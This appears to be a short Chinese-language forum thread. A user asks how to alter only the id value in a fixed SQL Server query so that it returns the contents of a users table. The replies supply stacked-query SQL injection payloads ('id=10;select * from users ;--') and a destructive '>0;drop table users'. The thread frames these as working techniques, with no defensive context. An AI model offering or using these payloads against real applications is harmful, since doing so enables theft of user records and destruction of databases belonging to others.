非常熟练SQL 语句的高手进来，指点指点！

SELECt [id] ,[authorId] ,[title] ,[pubDate] ,[clicks] FROM [dbo].[Articles] where id =10 在不能改上面SQL语句的情况下，只能改id = ？ ， 比如 ：id =10 and 1=1 。 已经知道有一个users表 和字段 怎么能返回users表里面的内容呢？ SELECt [id] ,[authorId] ,[title] ,[pubDate] ,[clicks] FROM [dbo].[Articles] where id =10 select * from users 也就是sql注入类似！

id=文本框内容，文本框中写”>0；select * from users "但是这么做有两个问题，第一：不能限定返回的列名，第二：是否能返回第二个结果集，当然，如果是删除就简单了，直接“>0;drop table users ”

where id=xx ; select * from users --

id=10;select * from users ;--